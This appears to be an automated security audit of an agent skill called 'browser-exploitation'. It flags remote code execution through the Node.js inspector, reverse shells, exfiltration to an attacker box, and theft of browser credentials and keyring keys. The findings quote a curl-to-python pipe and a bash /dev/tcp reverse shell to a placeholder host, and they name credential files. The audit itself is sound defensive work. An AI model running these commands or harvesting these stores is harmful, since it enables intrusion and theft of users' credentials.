The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides instructions to execute code from a remote source by piping the output of a network request directly into an interpreter: curl -s http://TARGET:9229/json | python3. This pattern is highly dangerous as it allows for immediate execution of unverified content from a network target.
[REMOTE_CODE_EXECUTION]: It details a method for achieving Remote Code Execution via the Node.js inspector protocol (port 9229) using the Runtime.evaluate method to execute child_process.execSync for arbitrary OS command execution.
[COMMAND_EXECUTION]: The skill includes explicit instructions and templates for establishing reverse shells on target systems using various methods such as bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1 or mkfifo combined with nc.
[DATA_EXFILTRATION]: It contains extensive methodologies for exfiltrating sensitive user data—including cookies, local files (e.g., /etc/passwd), and browser history—to an external attackbox via multiple protocols, including HTTP POST, DNS queries, and WebSockets.
[CREDENTIALS_UNSAFE]: The skill provides procedures for harvesting sensitive credentials from browser profile directories, specifically targeting SQLite databases for cookies and saved login data (Login Data, logins.json, key4.db). It also describes how to extract encryption keys from OS-specific keyrings like GNOME Keyring, Windows DPAPI, or macOS Keychain.
[DATA_EXFILTRATION]: The skill has a significant attack surface for indirect prompt injection. Ingestion points: browser history files and page content extracted via malicious extensions (found in SKILL.md). Boundary markers: absent. Capability inventory: file system access, network operations, and OS command execution. Sanitization: no evidence of input validation or sanitization of processed browser data.

browser-exploitation